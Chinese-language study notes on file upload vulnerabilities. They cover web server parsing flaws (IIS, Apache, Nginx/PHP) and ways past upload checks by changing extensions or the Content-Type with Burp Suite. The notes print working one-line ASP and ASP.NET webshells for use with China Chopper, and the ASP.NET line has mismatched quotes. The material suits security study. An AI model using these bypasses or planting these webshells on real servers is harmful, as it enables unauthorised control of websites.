3.文件上传漏洞

原因:
1.目录过滤不严,攻击者可能建立畸形目录
2.文件未重命名,攻击者可能利用Web容器解析漏洞
3.客户端过滤

利用:上传漏洞可以直接得到webshell


解析漏洞

1. IIS解析漏洞

  • 当建立.asa、.asp格式的文件夹时,其目录下的任意文件都被IIS当作asp文件来解析。

  • 当文件为*.asp;1.jpg时,IIS同样会以ASP脚本来执行。

    WebDav漏洞:是一种基于HTTP1.1协议的通信协议,支持Put,Move,Copy等方法,可能有安全隐患,桂林老兵的IIS Write工具可以进行扫描。

2.Apache解析漏洞

解析原则: 遇到不认识的扩展名将从后向前解析,如果都不认识,会暴露源代码。支持的扩展名在(apache安装目录的/conf/mine.types/)

3.PHP的cgi解析漏洞

  • Nginx通常用来作为PHP的解析容器
  • 上传图片木马在url后面加上“/.php”,图片就会被当作php脚本解析,php配置文件中cgi.fi:x_pathinfo*在有些版本中默认开启,php会向前递归解析。

客户端验证绕过

  • 使用FireBug直接删除客户端JavaScript验证代码
  • Burp Suite修改数据包

服务器端验证

  • 黑白名单
  • MIME验证
  • 目录验证
  • 截断上传攻击

1.扩展名绕过

  • 如果.php不能上传,直接修改扩展名(phP)再上传
  • “菜刀”拿到webshell

2. JS绕过

  • 修改要上传的木马文件类型
  • 用burpsuite拦截上传数据包,修改回原来的数据类型,上传成功
  • 用“中国菜刀” 连接木马地址,密码为“123”

3.Content-Type(HTTP层)

Content-Type:内容类型,一般是指网页中存在的Content-Type,用于定义网络文件的类型和网页的编码,决定文件接收方将以什么形式、什么编码读取这个文件,这就是经常看到一些Asp网页点击的结果却是下载到的一个文件或一张图片的原因。

  • 查看源码发现没有对上传文件进行限制,上传失败可能是后台有判断
  • 用burpsuite抓包修改Content-Type的值为“image/jpeg”,图片地址就是木马文件地址
  • 用“中国菜刀”进行其他入侵

一句话木马:
PHP:

ASP: <%eval request("chopper")%>

ASP.NET:
<%@ page Language="Jscript"%>
<%eval(Request.Item["chopper"],"unsafe');%>

图片一句话木马制作软件:Edjpgcom

你可能感兴趣的:(3.文件上传漏洞)